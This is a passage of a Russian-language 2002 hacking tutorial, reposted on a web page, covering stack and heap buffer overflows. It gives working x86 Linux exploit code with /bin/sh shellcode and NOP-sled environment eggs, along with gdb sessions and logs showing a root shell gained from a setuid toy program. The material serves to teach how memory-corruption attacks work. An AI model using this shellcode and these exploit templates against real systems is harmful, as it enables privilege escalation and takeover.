Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 2 июня!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

ПРОГРАММИРОВАНИЕ НА C и С++



Давно заметил, что всё-таки языки С/C++ это не самый лучший вариант программирования под Windows. Сейчас появилась масса более современных и удобных языков, например тот же Python - кроссплатформенный язык, очень легок в изучение. Я его изучил буквально за несколько дней по этому курсу - ссылка. Автор постарался, там видеоуроки на удивление легкие и понятные.
 Limpid Byte
 http://lbyte.void.ru
 ====================
 
 Modern_kinds_of_system_attacks
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 +Copyright (C) CrZ [crazy_einstein@yahoo.com] 2002 Limpid Byte [lbyte.void.ru]+
 
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
 
 
 
 
 
                                         (#.
 
                          .JHHL_         MM)
 
                          NMMMMMM#.      MM)
 
             J#HH#.      (MMMFHMMMMM)    MMHL____        .Q#.
 
           _MMMMMMML     HMMM) `4NMMN.   MMMMMMMMMMMMMMMMMMM)
 
          JMMM#AAHMM)    4MMM     `NMN   MM#NNNMMMMMMMMMMMMH`
 
         JMMF     HM)     (MH      (MM   `"           JMMMF
 
        .MMM      UM)     (MH       MM)             _NMMN`
 
        JMMM      QM)     (MH     _HMM            .HMMMF
 
       .MMMM      (M)     (MH J#HMMMMF           JMMM#
 
       (MMMM              (MH(MMMMMH"          .HMMN"
 
       (MMMM              (MH(MMMMM#__       .#MMMF                     .#)
 
       (MMMM              (MH  `#MMMMML      JMMN`                      (MM.
 
        MMMM              (MH     4NMMMM#   (MMF            .____       `MMM.
 
        (MMM      .HM)    (MH        4MMF   MMF  ._#HNMMMMMMMMMMMMMMMMNHHNMML
 
         MMML_   _NMM)    (MN              (MM .NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
 
         `HMMMMMMMMMF     (MM             .MM#NMMMM#F""""""`      `""""4AUQ#F
 
           "HMMMMNF`       "`            .MMMMMMQ"
 
     ._.      `"`                        JMMMMM`                    .)
 
    (H""                    Q           .MMMMM`        J) J         ()
 
    J`  .NQH MQMQM.MUN)() M(N#.#U# MQ`  MMMMM`     (UH N#(N# UQ) #Q)(LH`JU)
 
    Q   () N M M 4)M ()() M Q (#AM N   (MMMM`      (QM Q) Q  JQQ()  (M) (L.
 
    (L _(L M M M ()M J)().M H (L . H   JMMN`       M H Q) Q ().Q(L .()H. `#
 
     4HF "#` # # ()MQF  4F# 4# 4#` U   MMM`        4#4``#)`#)4FQ 4H`()`U(#`
 
                   M                   MM)
 
                                        `   Copyright (C) CrZ 2002
 
 						 mail: crazy_einstein@yahoo.com
 
 						 www:  lbyte.void.ru
 
 						 irc:  #limpidbyte (@efnet)
 
 
 
 				 	   Release data: 26/12/02
 
 
 
 
 
  -----[ attacks ]-----
 
 
 
 Содержание:
 
 
 
 1) Введение
 
 2) Виды атак
 
 3) Buffer Overflow
 
 4) Heap Overflow
 
 5) Buffer Overrun
 
 6) Format String
 
 7) Integer Overflow
 
 8) Common mistakes
 
 9) Полезная информация (ссылки)
 
 
 
  -----[    1    ]-----
 
 
 
 Каждый знает, что в наше время, чем дальше прогресс в информационной и hi-tech
 
 сфере, тем больше появляется возможностей альтернативного применения данных
 
 технологий..будь то какое-либо устройство, код программы или же что-нибудь другое!
 
 Чем дальше человек познаёт то, о чём ранее никто не думал и не исследовал, тем
 
 жизнь становится намного интересней и в то же время опасней. В случае информа-
 
 ционной сферы, на данный момент уже изведаны и открыты достаточно технологий и
 
 методов использования тех или иных недостатков и уязвимостей различных функций
 
 и неумелых (неосторожных) реализаций программистов. Я бы хотел остановиться на
 
 этом подробней!
 
 
 
  -----[    2    ]-----
 
 
 
 Какие альтернативные методы на сей день известны публике? Какие методы атак
 
 применяются? Как это не печально, но большенство атак используют недостатки,
 
 особенности или же уязвимости функций какого-либо языка программирования (у
 
 каждого языка свои особенности). И уж после этого идёт неумелое обращение прог-
 
 раммиста с теми или иными функция по следующим причинам: 1) незнание особенно-
 
 стей функций 2) невнимательность 3) неопытность в программировании. Особенно
 
 всё это приемущественно к языку Си, т.к. именно этот язык богат своей свободой
 
 действия, в отличии от того же Pascal'я, где существует ряд ограничений и конт-
 
 роля над теми или иными ситуациями, методами и процессами уже на стадии компле-
 
 ляции, т.е. в паскале, к примеру, очень ведётся контроль (хотя не очень и суро-
 
 вый) за переменными, присекая некоторые возможные попытки аварийного завершения
 
 программы: переполнение буфера и т.д. Весь этот процесс контроля уже вшит в
 
 процесс компиляции и, в случае какой-нибудь неадекватной ситуации на стадии
 
 компиляции, компилятор сообщает программисту о наличии ошибки. Что же касается
 
 языка Си, то там данного контроля нет и вся ответственность возлагается на
 
 плечи программиста, пишущего программу! Поэтому очень часто программист допус-
 
 кает такие ситуации в своих программах, которые приводят к нежелательным после-
 
 дствиям: будь то простое аварийное завершение или же что-либо ещё. И вот боль-
 
 шенство таких "вольных" допущений со стороны программиста могут быть использо-
 
 ваны в иных (своих, к примеру) целях. Например, для проникновения в сис-му,
 
 краже информации или же чего-либо ещё. То есть все методы атак рождены не только
 
 из-за того, что в каком-либо языке допущены какие-либо недоработки в функциях
 
 или же их особенности, которые могут быть применены по-иному, но и из-за того,
 
 что программисты не знает данных особенностей функций, языка и некорректно реали-
 
 зуют свои мысли в программный код, не учитывая все возможные ситуации в программе.
 
 Я предлагаю рассмотреть эти ситуации более менее подробно.
 
 
 
  -----[    3    ]-----
 
 
 
 Данный вид атаки был рождён очень давно, наверное ещё с тех пор, когда мир ещё
 
 использовал компьютеры на перфокартах ;). Данный вид атаки заключается в том,
 
 что в результате каких-либо действий внутри программы размер данных для той или
 
 иной переменной превышают размер отведённой памяти для этой самой переменной..в
 
 результате чего часть данных попадает на чужой участок памяти и затерает его
 
 соответственно, что может повлечь за собой иной исход работы программы. Вот
 
 простой пример данной ошибки (на языке Си, как и в дальнейшем в данной статье):
 
 
 
 ==================================================
 
 #include 
 
 
 
 int main() {
 
 
 
 	char text[10];
 
 
 
 	strcpy(text,"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
 
 
 
 	return 0;
 
 }
 
 ==================================================
 
 
 
 Как можно видеть, размер копируемого текста намного превышает отведённого для
 
 переменной text. В результате чего будут переписаны чужие данные в жучой области
 
 памяти, которая хранится в стэке. Т.е. технология работы функции языка Си (как
 
 и многих других) такова: при запуске функции программа работает с переменными
 
 посредством стека, сохраняя их в стек, в результате чего при вызове функции
 
 программа помещает переменные объявленые в заголовке функции в стек, после чего
 
 помещает в стек адрес той области памяти, в которой программа находится на данный
 
 момент и перемещается на адрес в памяти, где находится функция:
 
 
 
 Т.к. стек работает по принципу LIFO (Last Input First Output), то его удобно
 
 представлять в виде обоймы от автамата Калашникова :): (то бишь при добавлении
 
 новых элементов, стек растёт вниз)
 
 
 
 |       |
 
 |       |
 
 |       |
 
 |_xvarx_|  <- далее в стек кладутся переменные по этапно, адреса функций и т.п.
 
 |__ebp__|  <- базовый указатель при работе со стеком
 
 |__eip__|  <- адрес той области памяти, в которой программа находилась до прыжка в функцию
 
 |__var__|  <- переменные в заголовке функции, т.е. те, что в скобках функции: int
 
 |x x x x|     main(int var1, char var2, float var3, ...)
 
 |x x x x|  <- какие-то данные, хранящиеся до вызова процедуры
 
 |_______|
 
 
 
 когда оъбём данных превышает отведённое для переменной место, то непомещающийся
 
 кусок данных вылезает за пределы адресного пространства переменной и стек будет
 
 иметь вид при этом:
 
 
 
 |       |
 
 |       |
 
 |n n n n|  <- адресное пространство переменной, куда произошло копирование
 
 |w w w w|  <- данные, которые не поместились в отведённом для переменной месте,
 
 |w w w w|     как видно затёрли всё, что находилось снизу (т.к. стек растёт вниз)
 
 |w w w w|
 
 |x x x x|
 
 |_______|
 
 
 
 
 
 в нашем случае всё будет выглядеть так: (я изменил программку так, чтобы она рас-
 
 печатывала 10 4байтовых элементов стека)
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 [root@columbia work]# gdb 1
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 (gdb) br strcpy
 
 Breakpoint 1 at 0x8048380
 
 (gdb) r
 
 Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
 
 =============================================================================
 
 Вот наш стек:
 
 =============================================================================
 
 4000d9b0 4004e420 401489e4 40016b64 bffffb4c bffffae8 08048471 08049610 080496ec
 
 bffffb18 4003a177 00000001 bffffb4c bffffb54 0804831e
 
 =============================================================================
 
 где:
 
 40016b64 bffffb4c bffffae8 08048471 08049610 080496ec - данные, что отвелись
 
 под наш буффер, здесь 10 байт слева (сразу хотелось отметить, что в архитектуре
 
 little endian байты заполяются справа на лево, т.е. <-X<-X<-X<-X , где X - байт):
 
 XXXXXXXX XXXXXXXX bfffXXXX 08048471 08049610 080496ec , где 10байт наш буффер...
 
 остальная часть идёт как "мусор"..сразу хотелось бы показать как выглядит стек
 
 при разных размерах отведённой памяти под какую-либо переменную...в нашем случае
 
 под буффер:
 
 -----------------------------------------------------------------------------
 
 (ниже байтами 0x66 помечен наш буффер, чтобы его легче можно было найти)
 
 вот стэк вот при 2х байтов buffer'a:
 
 666697d0 bffffb28 4003a177
 
 при 4:
 
 66666666 bffffb28 4003a177
 
 при 6:
 
 66666666 bfff6666 bffffaf8 080484b1 080496f0 080497d0 bffffb28 4003a177
 
 при 8:
 
 66666666 66666666 bffffb08 4003a177
 
 при 10:
 
 66666666 66666666 bfff6666 080484b1 080496f0 080497d0 bffffb08 4003a177
 
 при 12 :
 
 66666666 66666666 66666666 080484b1 080496f0 080497d0 bffffb18 4003a177
 
 при 16:
 
 66666666 66666666 66666666 66666666 080496f0 080497d0 bffffb28 4003a177
 
 -----------------------------------------------------------------------------
 
 возвращаемся далее к стеку нашей программки:
 
 bffffb18 - ebp
 
 4003a177 - eip
 
 00000001 - argc
 
 bffffb4c - argv
 
 и так далее
 
 =============================================================================
 
 
 
 Теперь можно посмотреть на содержимое регистров (точнее нас интересуют ebp,eip):
 
 
 
 ...
 
 (gdb) i reg ebp eip
 
 ebp            0xbffffaa8       0xbffffaa8
 
 eip            0x400a38ba       0x400a38ba
 
 
 
 как видно они тут малость другие, но они указывают именно на наши адреса в стеке:
 
 
 
 (gdb) x/x 0xbffffaa8
 
 0xbffffaa8:     0xbffffad8
 
 (gdb) x/x 0xbffffad8
 
 0xbffffad8:     0xbffffb18
 
 
 
 Как видно в конце концов ebp указывает на тот адрес, что в стеке
 
 
 
 (gdb) c
 
 Continuing.
 
 =============================================================================
 
 Вот наш стек:(уже перезаписан буковками "a" = 0x61 (hex))
 
 =============================================================================
 
 080485c0 4004e420 401489e4 61616161 61616161 61616161 61616161 61616161 61616161
 
 61616161 61616161 61616161 00616161 bffffb54 0804831e
 
 =============================================================================
 
 
 
 Program received signal SIGSEGV, Segmentation fault.
 
 0x61616161 in ?? ()
 
 (gdb) i reg ebp eip
 
 ebp            0x61616161       0x61616161
 
 eip            0x61616161       0x61616161
 
 (gdb)
 
 
 
 
 
 В результате этого дальнейшее развитие событий (исход работы программы) уже будет
 
 идти непредсказуемо, т.к. некоторые ячейки памяти были изменены незапланированно.
 
 
 
 К чему это может привести? Мало того, что может испортиться содержимое перемен-
 
 ных, что были объявлены ранее той переменной, куда копировались данные, но и,
 
 как отмечалось ранее в стеке так же содержатся адреса тех областей памяти куда
 
 программе стоит вернуться после завершения функции... а в результате перезаписи
 
 могут пострадать так же и адреса возврата, что приведёт к аварийному завершению
 
 программы, т.к. после завершения функции она попытается прыгнуть по тому адресу,
 
 что возник в результате перезаписи... и не факт, что программа попадёт туда, куда
 
 надо :).
 
 
 
 Суть данной проблемы уже сама подкралась к нам, то бишь то, как можно этим вос-
 
 пользоваться. Мы можем переписать адрес так, чтобы он указывал на какой-либо
 
 машинный код, который предварительно можно поместить в стек, к примеру. И прыг-
 
 нув на наш код, программа выполнит те действия, которые запрограммированы в коде...
 
 что может привести к разным последствиям (обычно, к захвату сис-мы).
 
 
 
 Вот небольшой пример того, как можно использовать данную уязвимость:
 
 
 
 наша уязвимая программа, которая просто копирует данные, что переданы ей из ко-
 
 мандной строки:
 
 ==================================================
 
 int main(int argc,char **argv) {
 
 	char a[100];
 
 	strcpy(a,argv[1]);
 
 	printf("done!\n");
 
 	return 0;
 
 }
 
 ==================================================
 
 
 
 А вот программа, которая использует данную уязвимость:
 
 ==================================================
 
 char shellcode[]=
 
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
 
 "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
 
 "\xc0\x88\x43\x07\x89\x5b\x08\x89"
 
 "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
 
 "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
 
 "/bin/sh";
 
 
 
 long getsp() {
 
 __asm__("movl %esp,%eax");
 
 }
 
 
 
 
 
 
 
 int main(int argc, char **argv) {
 
 
 
         char buf[501];
 
         long ret;
 
         int off=0,i;
 
         char *p,*av[3], *ev[2];
 
         char *egg;
 
 
 
         egg=(char *)malloc(1000);
 
         sprintf(egg, "EGG=");
 
         memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
 
         sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode);
 
 
 
 
 
         if(argc==2) off=atoi(argv[1]);
 
 
 
         ret = getsp()+off;
 
 
 
         printf("shellcode addr: 0x%x, offset: %d\n",ret,off);
 
 
 
         p=buf;
 
         bzero(buf,sizeof(buf));
 
 
 
         for(i=0;i<=500;i+=4) { *(long *)(p+i)=ret; }
 
 
 
         av[0] = "./1";
 
         av[1] = buf;
 
         av[2] = 0;
 
         ev[0] = egg;
 
         ev[1] = 0;
 
         execve(*av, av, ev);
 
 
 
         return 0;
 
 
 
 }
 
 ==================================================
 
 
 
 Наша программа помещает свой код (именуемый как shellcode) в стек, после чего
 
 создаёт такую строку, которую передаст уязвимой программе, которая перезапишет
 
 адрес возврата на адрес, указывающий на наш код.
 
 
 
 Вот как это выглядит визуально:
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 [root@columbia work]# gcc -o 2 2.c
 
 [root@columbia work]# ./1 AAA
 
 done!
 
 [root@columbia work]# ./1 `perl -e 'print "A"x666'`
 
 done!
 
 Segmentation fault (core dumped)
 
 [root@columbia work]# gdb 1 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  0x41414141 in ?? ()
 
 (gdb) i reg ebp eip
 
 ebp            0x41414141       0x41414141
 
 eip            0x41414141       0x41414141
 
 (gdb) q
 
 [root@columbia work]# chmod ug+s 1
 
 [root@columbia work]# ls -la 1
 
 -rwsr-sr-x   1 root     root        13750 Dec 16 13:56 1
 
 [root@columbia work]# su nobody
 
 sh-2.04$ id
 
 uid=99(nobody) gid=99(nobody) groups=99(nobody)
 
 sh-2.04$ ./2 1000
 
 shellcode addr: 0xbffffca0, offset: 1000
 
 done!
 
 sh-2.04# id
 
 uid=0(root) gid=0(root) groups=99(nobody)
 
 sh-2.04#
 
 
 
 Данный вид атаки очень прост в реализации, т.к. нам необходимо знать только
 
 приблизительный адрес до нашего shellcode и не требует знаний чего-либо ещё.
 
 В данном случае программа (exploit) посылает уязвимой программе строку, несущую
 
 в себе только адреса возврата и ничего более...в результате чего трудно промах-
 
 нуться ;). Некоторые же просто передают shellcode вместе с посылаемой строкой
 
 уязвимой программе, но я решил, что это излишество и мой пример будет проще для
 
 понимания (ибо шеллкод можно хранить и в своей программе в таких размерах, в
 
 каких нам захочется и не думать о том, уместится ли шеллкод до того места, где
 
 находится адрес возврата).
 
 
 
  -----[    4    ]-----
 
 
 
 Этот вид атаки уже сложнее, нежели тот, что я рассматривал выше, т.к. в данном
 
 случае мы имеем дело в heap областью памяти, то бишь эта часть адресного прост-
 
 ранства не находится в стеке...и использовать те приёмы, что мы использовали
 
 ранее уже не совсем подходят к данному виду атаки. Давайте рассмотрим её подро-
 
 бней:
 
 
 
 во-первых, стоит замолвить слово о том, каким способом отводится место под пе-
 
 ременную в heap пространстве. Для этого существует ряд функций, которые осуще-
 
 ствляют данную операцию:
 
 
 
     extern void_star malloc( size_t );
 
     extern void_star calloc( size_t, size_t );
 
     extern void_star realloc( void_star, size_t );
 
     extern void_star malloc();
 
     extern void_star realloc();
 
     extern void_star calloc();
 
 
 
 и тому подобные функции.. каждая функция работает по своему, но суть работы у
 
 всех одна и та же :).. особенности и черты описаны в мануале (man). Функции воз-
 
 вращают указатель на начало области памяти, где было отведено место под перемен-
 
 ную. После работы с отведённой областью памяти её следует освободить. Чтобы уве-
 
 домить сис-му о том, что данный участок свободен используются функции следующего
 
 семейства:
 
 
 
     extern void free( void_star );
 
     extern void free();
 
     extern void cfree();
 
 
 
 Теперь стоит пожалуй рассматреть для начала простенький пример данной уязвимости
 
 (хотя уместней бы здесь сказать, что принцип в данном простом примере основан
 
 опять же на переполнении буффера (затерании стека) с небольшим вмешательством
 
 принципа связанного с heap), суть которой та же, что и в предыдущей главе - вы-
 
 деляем место под переменную, которого может не хватить, если мы опять попытаемся
 
 туда засунуть кусок данных, размер которого превосходит размер выделенных под
 
 переменную.
 
 
 
 Вот один из примеров (ситуаций породить можно много и все они могут быть отлич-
 
 ными друг от друга) уязвимой программы (которая к тому же будет распечатывать
 
 нам стек, чтобы можно было видеть интересующую нас информацию без gdb):
 
 
 
 ==================================================
 
 main(int argc,char **argv){
 
 	char *a,b[10];
 
 
 
 	printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 	a=malloc(2);
 
 
 
 	printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 	strcpy(b,argv[1]);
 
 
 
 	printf("\n----------------\nstack: %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n----------------\n");
 
 
 
 	free(a);
 
 }
 
 ==================================================
 
 
 
 Сейчас посмотрим наглядно что и как происходит:
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 1.c: In function `main':
 
 1.c:6: warning: assignment makes pointer from integer without a cast
 
 [root@columbia work]# ./1 `perl -e 'print "A"x666'`
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffffaf8 4000d9b0 4004e420 401489e4 40016b64
 
 bffffb5c bffffaf8 080484e1 080496b0 08049794 bffffb28 4003a177 00000002 bffffb5c
 
 bffffb68 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffffaf8 4000d9b0 4004e420 401489e4 40016b64
 
 bffffb5c bffffaf8 080497b8 080496b0 08049794 bffffb28 4003a177 00000002 bffffb5c
 
 bffffb68 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: bffff9cf 40016b64 40131c6e 41414141 41414141 41414141 41414141 41414141
 
 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
 
 41414141 41414141 41414141
 
 ----------------
 
 Segmentation fault (core dumped)
 
 [root@columbia work]#
 
 
 
 вот кусок наших данных касающихся переменной b с мусором:
 
 
 
 bffffaf8 4000d9b0 4004e420 401489e4 40016b64 bffffb5c bffffaf8
 
 
 
 далее идёт 4 байта отведённых под указатель - 080484e1 (адрес до того, как мы
 
 присвоили ему адрес нового отведённого места в heap, причём этот адрес тоже на-
 
 ходится в области heap). После того, как мы выделили кусок памяти размером в 2
 
 байта этот указатель уже начал смотреть на другой регион памяти - 080497b8.
 
 
 
 Далее...мы производим копирование в буффер b размерностью в 10 байт (на самом же
 
 делее более, чем 10 байт, отводится для нашего буффера b) информацию , объём ко-
 
 торой значительно больше отведённого для буффера места. В результате чего проис-
 
 ходит перезапись нашего указателя,ebp,eip и многое другое :)...
 
 
 
 Теперь глянем причину аварийного завершения:
 
 
 
 [root@columbia work]# gdb 1 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  __libc_free (mem=0x41414141) at malloc.c:3036
 
 3036    malloc.c: No such file or directory.
 
         in malloc.c
 
 (gdb) i reg
 
 ...
 
 edx            0x41414141       1094795585
 
 ...
 
 ebp            0xbffff818       0xbffff818
 
 ...
 
 eip            0x4009dce0       0x4009dce0
 
 ...
 
 (gdb)
 
 
 
 А произошло следующее, когда мы вызываем функцию free() мы передаём ей параметр,
 
 точнее адрес переменной, под которую отводилось соответствующее кол-во байт и
 
 которые теперь надо освободить...а этот адрес мы заменили на 0x41414141, в резу-
 
 льтате чего функция пытается освободить место в памяти, которое вовсе не являет-
 
 ся heap'ом. Причём, если бы у нас функция free() не вызывалась, то мы бы пере-
 
 писали наш eip без особых проблем, а так мы получаем аварийное завершение прог-
 
 раммы при вызове free(). Мысль сразу напрашивается к нам: "А что будет, если мы
 
 подсунем какой-нить адрес в heap пространстве на это место, чтобы функция free()
 
 была спокойна?!". Это действительно обхитрит нашу уязвимую программу:
 
 
 
 [root@columbia work]# ./1 `perl -e 'print "A"x28'``printf "\xff\x84\x04\x08"``perl -e 'print "A"x28'`
 
 ...
 
 Segmentation fault (core dumped)
 
 [root@columbia work]# !gd
 
 gdb 1 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  0x41414141 in ?? ()
 
 (gdb)
 
 
 
 
 
 Как видно, free() уже более не ругается, если ему скормить какой-нить адрес из
 
 heap сегмента (который к тому же должен быть действительным), но зато у нас ава-
 
 рийное завершение программы, т.к. мы затёрли наш eip. Далее можно руководствова-
 
 ться методом, описанным выше. Вот пример программки, которая использует данную
 
 уязвимость: (тут я free() даю тот же адрес, что и должен быть освобождён, чтобы
 
 всё шло своим чередом, ибо мало ли...если бы программа была построена сложнее,
 
 то могла бы возникнуть ситуация, когда программа лезет к тому участку памяти,
 
 который уже освободили, что нельзя делать.. либо же банальный core dumped, если
 
 данного хипа нет (не выделен то бишь).. поэтому лучше сразу делать так, чтоб всё
 
 было на своих местах)
 
 
 
 ==================================================
 
 char shellcode[]=
 
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
 
 "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
 
 "\xc0\x88\x43\x07\x89\x5b\x08\x89"
 
 "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
 
 "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
 
 "/bin/sh";
 
 
 
 long getsp() {
 
 __asm__("movl %esp,%eax");
 
 }
 
 
 
 
 
 
 
 int main(int argc, char **argv) {
 
 
 
         char buf[501];
 
         long ret;
 
         int off=0,i;
 
         char *p,*av[3], *ev[2];
 
         char *egg;
 
 
 
         egg=(char *)malloc(1000);
 
         sprintf(egg, "EGG=");
 
         memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
 
         sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode);
 
 
 
 
 
         if(argc==2) off=atoi(argv[1]);
 
 
 
         ret = getsp()+off;
 
 
 
         printf("shellcode addr: 0x%x, offset: %d\n",ret,off);
 
 
 
         p=buf;
 
         bzero(buf,sizeof(buf));
 
         memset(p,0x41,28);
 
         p+=28;
 
         *((void **)p)=(void *)(0x080497b8); // это наш адрес указателя a, после малока
 
         p+=4;
 
         for(i=0;i<=3*24;i+=4) { *(long *)(p+i)=ret; }
 
 
 
 
 
         av[0] = "./1";
 
         av[1] = buf;
 
         av[2] = 0;
 
         ev[0] = egg;
 
         ev[1] = 0;
 
         execve(*av, av, ev);
 
 
 
         return 0;
 
 
 
 }
 
 ==================================================
 
 
 
 Вот наглядный пример работы:
 
 
 
 [root@columbia work]# gcc -o 2 2.c
 
 [root@columbia work]# chmod ug+s 1
 
 [root@columbia work]# su nobody
 
 sh-2.04$ id
 
 uid=99(nobody) gid=99(nobody) groups=99(nobody)
 
 sh-2.04$ ./2 1000
 
 shellcode addr: 0xbffffca0, offset: 1000
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffffa88 4000d9b0 4004e420 401489e4 40016b64
 
 bffffaec bffffa88 080484e1 080496b0 08049794 bffffab8 4003a177 00000002 bffffaec
 
 bffffaf8 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffffa88 4000d9b0 4004e420 401489e4 40016b64
 
 bffffaec bffffa88 080497b8 080496b0 08049794 bffffab8 4003a177 00000002 bffffaec
 
 bffffaf8 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: bffffba3 40016b64 40131c6e 41414141 41414141 41414141 41414141 41414141
 
 41414141 41414141 080497b8 bffffca0 bffffca0 bffffca0 bffffca0 bffffca0 bffffca0
 
 bffffca0 bffffca0 bffffca0
 
 ----------------
 
 sh-2.04# id
 
 uid=0(root) gid=0(root) groups=99(nobody)
 
 sh-2.04#
 
 
 
 Кстати, должен отметить, что если бы мы копировали в "a", то ничего бы не получи-
 
 лось, точнее мы бы не достигли желаемого результата, т.к. спереди "а" не было
 
 проинициализированно ни одной переменной (то бишь не было выделено место спере-
 
 ди "а"). Единственное, что нам бы удалось сделать, так это заполнить весь heap
 
 нашими данными и дойти до регистра eax, после затерания которого наша программа
 
 завершилась бы аварийно. Т.е. в этом случае, когда копирование идёт (не в стеке!!!)
 
 в "чистую" (она забита нулями) область heap, то нам не удастся перезаписать что-
 
 либо, если спереди нет выделенных под что-то мест...кроме как eax.
 
 
 
 Вот наглядный пример этого: (я взял тот же самый исходник уязвимой программы,
 
 что написал выше, только теперь я копирую данные в "а")
 
 
 
 [root@columbia work]# gcc -o 1 1.c
 
 1.c: In function `main':
 
 1.c:6: warning: assignment makes pointer from integer without a cast
 
 [root@columbia work]# ./1 `perl -e 'print "A"x666'`
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64
 
 bffff8cc bffff868 080484e1 080496b0 08049794 bffff898 4003a177 00000002 bffff8cc
 
 bffff8d8 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64
 
 bffff8cc bffff868 080497b8 080496b0 08049794 bffff898 4003a177 00000002 bffff8cc
 
 bffff8d8 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: bffff9cf 40016b64 40131c6e bffff868 4000d9b0 4004e420 401489e4 40016b64
 
 bffff8cc bffff868 080497b8 080496b0 08049794 bffff898 4003a177 00000002 bffff8cc
 
 bffff8d8 08048366 080485b0
 
 ----------------
 
 [root@columbia work]#
 
 
 
 Как я и говорил, мы не затронули стек в данном случае...ибо наш указатель ука-
 
 зывает на сегмент heap, где отведена память. Туда и происходит копирование.. А
 
 так как мы выделили в нашей программе место для "a" в самую последнюю очередь,
 
 то соответственно была отведена память свободная (в heap'e), что выше располо-
 
 жена.. При этом, если бы мы до этого, к примеру, выделяли память в том же heap'e
 
 для каких-либо других переменных, то ситуация бы была та же, т.к. как я и сказал
 
 выделение происходит по такой схеме:
 
 
 
 вот пример программы:
 
 
 
 ...
 
 char *a,*b,*c;
 
 ...
 
 a=malloc(2);
 
 b=malloc(55);
 
 c=malloc(100);
 
 ...
 
 free(c);
 
 free(b);
 
 free(a);
 
 ...
 
 
 
 заполнение heap региона для этой программы: (заполнение сверху вниз, для удобства)
 
  _____
 
 |[ a ]| <- начало нашей heap области, где выделяется область для "a"
 
 |[ b ]| <- место, отводимое для "b"
 
 |[ c ]| <- место, отводимое для "с"
 
 |     | <- пустое (незанятое) пространство
 
 |     |
 
 
 
 Т.е. если мы будем копировать в "a" большой кусок данных, который затрёт чужую
 
 область памяти (b,c), то произойдёт аварийное завершение программы при вызове
 
 free(). А если же копирование будет осуществляться в "c", то мы можем копировать
 
 туда столько данных, сколько нам позволит отведённая heap область, пока не затрём
 
 eax ;)
 
 
 
 Вот визуальный пример: (передадим столько данных, чтобы смогли затереть eax)
 
 
 
 [root@columbia work]# ./1 `perl -e 'print "A"x6666'`
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bfffe0f8 4000d9b0 4004e420 401489e4 40016b64
 
 bfffe15c bfffe0f8 080484e1 080496b0 08049794 bfffe128 4003a177 00000002 bfffe15c
 
 bfffe168 08048366 080485b0
 
 ----------------
 
 
 
 ----------------
 
 stack: 401489e4 40016b64 40131c6e bfffe0f8 4000d9b0 4004e420 401489e4 40016b64
 
 bfffe15c bfffe0f8 080497b8 080496b0 08049794 bfffe128 4003a177 00000002 bfffe15c
 
 bfffe168 08048366 080485b0
 
 ----------------
 
 Segmentation fault (core dumped)
 
 [root@columbia work]# gdb 1 core
 
 GNU gdb 5.0rh-5 Red Hat Linux 7.1
 
 ...
 
 #0  strcpy (dest=0x80497b8 'A' ..., src=0xbfffe25f 'A' ...) at ../sysdeps/generic/strcpy.c:40
 
 40      ../sysdeps/generic/strcpy.c: No such file or directory.
 
         in ../sysdeps/generic/strcpy.c
 
 (gdb) i reg eax
 
 eax            0x41     65
 
 (gdb)
 
 
 
 
 
 Теперь хочу рассмотреть пример сложней (касающийся именно принципа heap непос-
 
 редственно в чистом виде), когда у нас случай с 2мя heap'ами, которые выделены
 
 последовательно и, в тот, что выделился ранее идёт копирование данных, без учёта
 
 контроля длины:
 
 
 
